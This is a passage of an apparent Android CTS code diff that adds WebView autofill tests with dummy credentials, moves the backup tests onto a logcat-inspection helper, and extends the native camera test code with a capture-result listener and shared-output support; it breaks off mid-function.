+        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+                mActivity.mOutside1, "duder");
+        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+                mActivity.mOutside2, "sweeter");
+        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput(sUiBot).click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("USER");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Assert structure passed to service.
+        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameFillNode);
+        assertThat(usernameFillNode.isFocused()).isTrue();
+        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordFillNode);
+        assertThat(passwordFillNode.getAutofillHints()).asList()
+                .containsExactly("current-password");
+        assertThat(passwordFillNode.isFocused()).isFalse();
+
+        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextIsSanitized(outside1FillNode);
+        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextIsSanitized(outside2FillNode);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        sUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        mActivity.getPasswordInput(sUiBot).click();
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        sUiBot.assertDatasets("PASS");
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Autofill it.
+        sUiBot.selectDataset(datasetPicker, "OUT2");
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+
+        myWebView.assertAutofilled();
+        outside1Watcher.assertAutoFilled();
+        outside2Watcher.assertAutoFilled();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_U");
+            mActivity.getPasswordInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_P");
+        } else {
+            mActivity.getUsernameInput(sUiBot).setText("DUDE");
+            mActivity.getPasswordInput(sUiBot).setText("SWEET");
+        }
+        mActivity.runOnUiThread(() -> {
+            mActivity.mOutside1.setText("DUDER");
+            mActivity.mOutside2.setText("SWEETER");
+        });
+
+        mActivity.getLoginButton(sUiBot).click();
+
+        // Assert save UI shown.
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+        }
+
+        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+    }
+
+
+    @Test
+    public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
+        if (true) return; // TODO(b/69461853): re-enable once WebView fixes it
+
+        // Set service.
+        enableService();
+
+        // Load outside views
+        mActivity.loadOutsideViews();
+
+        // Set expectations.
+        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+                mActivity.mOutside1, "duder");
+        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+                mActivity.mOutside2, "sweeter");
+        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.setIdMode(IdMode.RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        sUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        sUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Assert structure passed to service.
+        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextIsSanitized(outside1FillNode);
+        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextIsSanitized(outside2FillNode);
+
+        // Now load Webiew
+        final MyWebView myWebView = mActivity.loadWebView();
+
+        // Set expectations
+        myWebView.expectAutofill("dude", "sweet");
+        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput(sUiBot).click();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        sUiBot.assertDatasets("USER");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        sUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        sUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        mActivity.getPasswordInput(sUiBot).click();
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        sUiBot.assertDatasets("PASS");
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+        final UiObject2 datasetPicker = sUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Assert structure passed to service.
+        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameFillNode);
+        assertThat(usernameFillNode.isFocused()).isTrue();
+        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordFillNode);
+        assertThat(passwordFillNode.getAutofillHints()).asList()
+                .containsExactly("current-password");
+        assertThat(passwordFillNode.isFocused()).isFalse();
+
+        // Autofill external views (2nd partition)
+        sUiBot.selectDataset(datasetPicker, "OUT2");
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        outside1Watcher.assertAutoFilled();
+        outside2Watcher.assertAutoFilled();
+
+        // Autofill Webview (1st partition)
+        mActivity.getUsernameInput(sUiBot).click();
+        callback.assertUiShownEventForVirtualChild(myWebView);
+        sUiBot.selectDataset("USER");
+        myWebView.assertAutofilled();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_U");
+            mActivity.getPasswordInput(sUiBot).click();
+            runShellCommand("input keyevent KEYCODE_P");
+        } else {
+            mActivity.getUsernameInput(sUiBot).setText("DUDE");
+            mActivity.getPasswordInput(sUiBot).setText("SWEET");
+        }
+        mActivity.runOnUiThread(() -> {
+            mActivity.mOutside1.setText("DUDER");
+            mActivity.mOutside2.setText("SWEETER");
+        });
+
+        mActivity.getLoginButton(sUiBot).click();
+
+        // Assert save UI shown.
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+        }
+
+        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
index 5d3baca..7165858 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
@@ -17,7 +17,10 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.app.PendingIntent;
+import android.content.Context;
 import android.content.Intent;
+import android.content.IntentSender;
 import android.os.Bundle;
 import android.support.annotation.Nullable;
 import android.support.test.uiautomator.UiObject2;
@@ -82,4 +85,11 @@
         assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
                 .isEqualTo(expectedMessage);
     }
+
+    public static IntentSender createSender(Context context, String message) {
+        final Intent intent = new Intent(context, WelcomeActivity.class);
+        intent.putExtra(EXTRA_MESSAGE, message);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, intent, 0);
+        return pendingIntent.getIntentSender();
+    }
 }
diff --git a/tests/backup/AndroidManifest.xml b/tests/backup/AndroidManifest.xml
index 333045a..28745f3 100644
--- a/tests/backup/AndroidManifest.xml
+++ b/tests/backup/AndroidManifest.xml
@@ -20,6 +20,7 @@
 
     <application>
         <uses-library android:name="android.test.runner" />
+        <uses-library android:name="org.apache.http.legacy" />
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
index bbd0d26..343f2d9 100644
--- a/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
+++ b/tests/backup/src/android/backup/cts/BaseBackupCtsTest.java
@@ -21,14 +21,14 @@
 import android.os.ParcelFileDescriptor;
 import android.test.InstrumentationTestCase;
 
+import com.android.compatibility.common.util.LogcatInspector;
+
 import java.io.BufferedReader;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.nio.charset.StandardCharsets;
-import java.util.UUID;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Base class for backup instrumentation tests.
@@ -41,9 +41,14 @@
     private static final String LOCAL_TRANSPORT =
             "android/com.android.internal.backup.LocalTransport";
 
-    private static final int SMALL_LOGCAT_DELAY = 1000;
-
     private boolean isBackupSupported;
+    private LogcatInspector mLogcatInspector =
+            new LogcatInspector() {
+                @Override
+                protected InputStream executeShellCommand(String command) throws IOException {
+                    return executeStreamedShellCommand(getInstrumentation(), command);
+                }
+            };
 
     @Override
     protected void setUp() throws Exception {
@@ -73,55 +78,16 @@
         return output.contains("* " + LOCAL_TRANSPORT);
     }
 
-    /**
-     * Attempts to clear logcat.
-     *
-     * Clearing logcat is known to be unreliable, so this methods also output a unique separator
-     * that can be used to find this point in the log even if clearing failed.
-     * @return a unique separator string
-     * @throws Exception
-     */
-    protected String clearLogcat() throws Exception {
-        exec("logcat -c");
-        String uniqueString = ":::" + UUID.randomUUID().toString();
-        exec("log -t " + APP_LOG_TAG + " " + uniqueString);
-        return uniqueString;
+    /** See {@link LogcatInspector#mark(String)}. */
+    protected String markLogcat() throws Exception {
+        return mLogcatInspector.mark(APP_LOG_TAG);
     }
 
-    /**
-     * Wait for up to maxTimeoutInSeconds for the given strings to appear in the logcat in the given order.
-     * By passing the separator returned by {@link #clearLogcat} as the first string you can ensure that only
-     * logs emitted after that call to clearLogcat are found.
-     *
-     * @throws AssertionError if the strings are not found in the given time.
-     */
+    /** See {@link LogcatInspector#assertLogcatContainsInOrder(String, int, String...)}. */
     protected void waitForLogcat(int maxTimeoutInSeconds, String... logcatStrings)
-        throws Exception {
-        long timeout = System.currentTimeMillis() + TimeUnit.SECONDS.toMillis(maxTimeoutInSeconds);
-        int stringIndex = 0;
-        while (timeout >= System.currentTimeMillis()) {
-            FileInputStream fis = executeStreamedShellCommand(getInstrumentation(),
-                    "logcat -v brief -d " + APP_LOG_TAG + ":* *:S");
-            BufferedReader log = new BufferedReader(new InputStreamReader(fis));
-            String line;
-            stringIndex = 0;
-            while ((line = log.readLine()) != null) {
-                if (line.contains(logcatStrings[stringIndex])) {
-                    stringIndex++;
-                    if (stringIndex >= logcatStrings.length) {
-                        drainAndClose(log);
-                        return;
-                    }
-                }
-            }
-            closeQuietly(log);
-            // In case the key has not been found, wait for the log to update before
-            // performing the next search.
-            Thread.sleep(SMALL_LOGCAT_DELAY);
-        }
-        fail("Couldn't find " + logcatStrings[stringIndex] +
-            (stringIndex > 0 ? " after " + logcatStrings[stringIndex - 1] : "") +
-            " within " + maxTimeoutInSeconds + " seconds ");
+            throws Exception {
+        mLogcatInspector.assertLogcatContainsInOrder(
+                APP_LOG_TAG + ":* *:S", maxTimeoutInSeconds, logcatStrings);
     }
 
     protected void createTestFileOfSize(String packageName, int size) throws Exception {
@@ -145,8 +111,8 @@
         }
     }
 
-    private static FileInputStream executeStreamedShellCommand(Instrumentation instrumentation,
-                                                               String command) throws Exception {
+    private static FileInputStream executeStreamedShellCommand(
+            Instrumentation instrumentation, String command) throws IOException {
         final ParcelFileDescriptor pfd =
                 instrumentation.getUiAutomation().executeShellCommand(command);
         return new ParcelFileDescriptor.AutoCloseInputStream(pfd);
diff --git a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
index beefa01..9f81ecd 100644
--- a/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupLifecycleTest.java
@@ -31,7 +31,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String backupSeparator = clearLogcat();
+        String backupSeparator = markLogcat();
 
         // Make sure there's something to backup
         createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -45,7 +45,7 @@
             "Full backup requested",
             "onDestroy");
 
-        String restoreSeparator = clearLogcat();
+        String restoreSeparator = markLogcat();
 
         // Now request restore and wait for it to complete
         exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
index 3924e87..56d489d 100644
--- a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -36,7 +36,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String separator = clearLogcat();
+        String separator = markLogcat();
         // Launch test app and create file exceeding limit for local transport
         createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
 
@@ -59,7 +59,7 @@
             Thread.sleep(3000);
         } catch (InterruptedException e) {}
 
-        String separator = clearLogcat();
+        String separator = markLogcat();
         exec("bmgr backupnow " + BACKUP_APP_NAME);
         waitForLogcat(TIMEOUT_SECONDS,separator,
             "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
index d957bbc..0bb5243 100644
--- a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
@@ -31,7 +31,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String backupSeparator = clearLogcat();
+        String backupSeparator = markLogcat();
 
         // Make sure there's something to backup
         createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
@@ -44,7 +44,7 @@
             "Backup requested",
             "onDestroy");
 
-        String restoreSeparator = clearLogcat();
+        String restoreSeparator = markLogcat();
 
         // Now request restore and wait for it to complete
         exec("bmgr restore " + BACKUP_APP_NAME);
diff --git a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
index c29f810..6fca9ad 100644
--- a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
+++ b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
@@ -36,7 +36,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String separator = clearLogcat();
+        String separator = markLogcat();
         // Launch test app and create file exceeding limit for local transport
         createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
 
@@ -50,7 +50,7 @@
         if (!isBackupSupported()) {
             return;
         }
-        String separator = clearLogcat();
+        String separator = markLogcat();
         exec("bmgr backupnow " + BACKUP_APP_NAME);
         waitForLogcat(TIMEOUT_SECONDS, separator,
             "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 649908d..2cd4f64 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -44,7 +44,7 @@
     libz \
 
 # NDK build, shared C++ runtime
-LOCAL_SDK_VERSION := 24
+LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_shared
 
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index b2124ce..166ec86 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -18,9 +18,12 @@
 #define LOG_TAG "NativeCamera"
 #include <log/log.h>
 
+#include <chrono>
+#include <condition_variable>
 #include <string>
 #include <map>
 #include <mutex>
+#include <vector>
 #include <unistd.h>
 #include <assert.h>
 #include <jni.h>
@@ -238,6 +241,173 @@
     int mOnActive = 0;
 };
 
+class CaptureResultListener {
+  public:
+    ~CaptureResultListener() {
+        std::unique_lock<std::mutex> l(mMutex);
+        clearSavedRequestsLocked();
+    }
+
+    static void onCaptureStart(void* /*obj*/, ACameraCaptureSession* /*session*/,
+            const ACaptureRequest* /*request*/, int64_t /*timestamp*/) {
+        //Not used for now
+    }
+
+    static void onCaptureProgressed(void* /*obj*/, ACameraCaptureSession* /*session*/,
+            ACaptureRequest* /*request*/, const ACameraMetadata* /*result*/) {
+        //Not used for now
+    }
+
+    static void onCaptureCompleted(void* obj, ACameraCaptureSession* /*session*/,
+            ACaptureRequest* request, const ACameraMetadata* result) {
+        ALOGV("%s", __FUNCTION__);
+        if ((obj == nullptr) || (result == nullptr)) {
+            return;
+        }
+        CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+        std::lock_guard<std::mutex> lock(thiz->mMutex);
+        ACameraMetadata_const_entry entry;
+        auto ret = ACameraMetadata_getConstEntry(result, ACAMERA_SYNC_FRAME_NUMBER, &entry);
+        if (ret != ACAMERA_OK) {
+            ALOGE("Error: Sync frame number missing from result!");
+            return;
+        }
+
+        if (thiz->mSaveCompletedRequests) {
+            thiz->mCompletedRequests.push_back(ACaptureRequest_copy(request));
+        }
+
+        thiz->mLastCompletedFrameNumber = entry.data.i64[0];
+        thiz->mResultCondition.notify_one();
+    }
+
+    static void onCaptureFailed(void* obj, ACameraCaptureSession* /*session*/,
+            ACaptureRequest* /*request*/, ACameraCaptureFailure* failure) {
+        ALOGV("%s", __FUNCTION__);
+        if ((obj == nullptr) || (failure == nullptr)) {
+            return;
+        }
+        CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+        std::lock_guard<std::mutex> lock(thiz->mMutex);
+        thiz->mLastFailedFrameNumber = failure->frameNumber;
+        thiz->mResultCondition.notify_one();
+    }
+
+    static void onCaptureSequenceCompleted(void* obj, ACameraCaptureSession* /*session*/,
+            int sequenceId, int64_t frameNumber) {
+        ALOGV("%s", __FUNCTION__);
+        if (obj == nullptr) {
+            return;
+        }
+        CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+        std::lock_guard<std::mutex> lock(thiz->mMutex);
+        thiz->mLastSequenceIdCompleted = sequenceId;
+        thiz->mLastSequenceFrameNumber = frameNumber;
+        thiz->mResultCondition.notify_one();
+    }
+
+    static void onCaptureSequenceAborted(void* /*obj*/, ACameraCaptureSession* /*session*/,
+            int /*sequenceId*/) {
+        //Not used for now
+    }
+
+    static void onCaptureBufferLost(void* obj, ACameraCaptureSession* /*session*/,
+            ACaptureRequest* /*request*/, ANativeWindow* /*window*/, int64_t frameNumber) {
+        ALOGV("%s", __FUNCTION__);
+        if (obj == nullptr) {
+            return;
+        }
+        CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
+        std::lock_guard<std::mutex> lock(thiz->mMutex);
+        thiz->mLastLostFrameNumber = frameNumber;
+        thiz->mResultCondition.notify_one();
+    }
+
+    int64_t getCaptureSequenceLastFrameNumber(int64_t sequenceId, uint32_t timeoutSec) {
+        int64_t ret = -1;
+        std::unique_lock<std::mutex> l(mMutex);
+
+        while (mLastSequenceIdCompleted != sequenceId) {
+            auto timeout = std::chrono::system_clock::now() +
+                           std::chrono::seconds(timeoutSec);
+            if (std::cv_status::timeout == mResultCondition.wait_until(l, timeout)) {
+                break;
+            }
+        }
+
+        if (mLastSequenceIdCompleted == sequenceId) {
+            ret = mLastSequenceFrameNumber;
+        }
+
+        return ret;
+    }
+
+    bool waitForFrameNumber(int64_t frameNumber, uint32_t timeoutSec) {
+        bool ret = false;
+        std::unique_lock<std::mutex> l(mMutex);
+
+        while ((mLastCompletedFrameNumber != frameNumber) &&
+                (mLastLostFrameNumber != frameNumber) &&
+                (mLastFailedFrameNumber != frameNumber)) {
+            auto timeout = std::chrono::system_clock::now() +
+                           std::chrono::seconds(timeoutSec);
+            if (std::cv_status::timeout == mResultCondition.wait_until(l, timeout)) {
+                break;
+            }
+        }
+
+        if ((mLastCompletedFrameNumber == frameNumber) ||
+                (mLastLostFrameNumber == frameNumber) ||
+                (mLastFailedFrameNumber == frameNumber)) {
+            ret = true;
+        }
+
+        return ret;
+    }
+
+    void setRequestSave(bool enable) {
+        std::unique_lock<std::mutex> l(mMutex);
+        if (!enable) {
+            clearSavedRequestsLocked();
+        }
+        mSaveCompletedRequests = enable;
+    }
+
+    // The lifecycle of returned ACaptureRequest* is still managed by CaptureResultListener
+    void getCompletedRequests(std::vector<ACaptureRequest*>* out) {
+        std::unique_lock<std::mutex> l(mMutex);
+        *out = mCompletedRequests;
+    }
+
+    void reset() {
+        std::lock_guard<std::mutex> lock(mMutex);
+        mLastSequenceIdCompleted = -1;
+        mLastSequenceFrameNumber = -1;
+        mLastCompletedFrameNumber = -1;
+        mLastLostFrameNumber = -1;
+        mLastFailedFrameNumber = -1;
+        mSaveCompletedRequests = false;
+        clearSavedRequestsLocked();
+    }
+
+  private:
+    std::mutex mMutex;
+    std::condition_variable mResultCondition;
+    int mLastSequenceIdCompleted = -1;
+    int64_t mLastSequenceFrameNumber = -1;
+    int64_t mLastCompletedFrameNumber = -1;
+    int64_t mLastLostFrameNumber = -1;
+    int64_t mLastFailedFrameNumber = -1;
+    bool    mSaveCompletedRequests = false;
+    std::vector<ACaptureRequest*> mCompletedRequests;
+
+    void clearSavedRequestsLocked() {
+        for (ACaptureRequest* req : mCompletedRequests) {
+            ACaptureRequest_free(req);
+        }
+        mCompletedRequests.clear();
+    }
+};
 
 class ImageReaderListener {
   public:
@@ -401,6 +571,7 @@
     // Free all resources except camera manager
     void resetCamera() {
         mSessionListener.reset();
+        mResultListener.reset();
         if (mSession) {
             ACameraCaptureSession_close(mSession);
             mSession = nullptr;
@@ -502,6 +673,16 @@
         return mCameraIdList->cameraIds[idx];
     }
 
+    camera_status_t updateOutput(JNIEnv* env, ACaptureSessionOutput *output) {
+        if (mSession == nullptr) {
+            ALOGE("Testcase cannot update output configuration session %p",
+                    mSession);
+            return ACAMERA_ERROR_UNKNOWN;
+        }
+
+        return ACameraCaptureSession_updateSharedOutput(mSession, output);
+    }
+
     camera_status_t openCamera(const char* cameraId) {
         if (mDevice) {
             ALOGE("Cannot open camera before closing previously open one");
@@ -573,7 +754,7 @@
         return mPreviewAnw;
     }
 
-    camera_status_t createCaptureSessionWithLog() {
+    camera_status_t createCaptureSessionWithLog(bool isPreviewShared = false) {
         if (mSession) {
             LOG_ERROR(errorString, "Cannot create session before closing existing one");
             return ACAMERA_ERROR_UNKNOWN;
@@ -611,7 +792,11 @@
         }
 
         if (mPreviewInited) {
-            ret = ACaptureSessionOutput_create(mPreviewAnw, &mPreviewOutput);
+            if (isPreviewShared) {
+                ret = ACaptureSessionSharedOutput_create(mPreviewAnw, &mPreviewOutput);
+            } else {
+                ret = ACaptureSessionOutput_create(mPreviewAnw, &mPreviewOutput);
+            }
             if (ret != ACAMERA_OK || mPreviewOutput == nullptr) {
                 LOG_ERROR(errorString,
                         "Sesssion preview output create fail! ret %d output %p",
@@ -743,15 +928,60 @@
         return ACAMERA_OK;
     }
 
-    camera_status_t startPreview() {
+    // The output ACaptureRequest* is still managed by testcase class
+    camera_status_t getStillRequest(ACaptureRequest** out) {
+        if (mStillRequest == nullptr) {
+            ALOGE("Camera %s Still capture request hasn't been created", mCameraId);
+            return ACAMERA_ERROR_INVALID_PARAMETER;
+        }
+        *out = mStillRequest;
+        return ACAMERA_OK;
+    }
+
+    camera_status_t startPreview(int *sequenceId = nullptr) {
         if (mSession == nullptr || mPreviewRequest == nullptr) {
             ALOGE("Testcase cannot start preview: session %p, preview request %p",
                     mSession, mPreviewRequest);
             return ACAMERA_ERROR_UNKNOWN;
         }
         int previewSeqId;
-        return ACameraCaptureSession_setRepeatingRequest(
-                mSession, nullptr, 1, &mPreviewRequest, &previewSeqId);
+        camera_status_t ret;
+        if (sequenceId == nullptr) {
+            ret = ACameraCaptureSession_setRepeatingRequest(
+                   mSession, nullptr, 1, &mPreviewRequest, &previewSeqId);
+        } else {
+            ret = ACameraCaptureSession_setRepeatingRequest(
+                   mSession, &mResultCb, 1, &mPreviewRequest, sequenceId);
+        }
+        return ret;
+    }
+
+    camera_status_t updateRepeatingRequest(ACaptureRequest *updatedRequest,
+            int *sequenceId = nullptr) {
+        if (mSession == nullptr || updatedRequest == nullptr) {
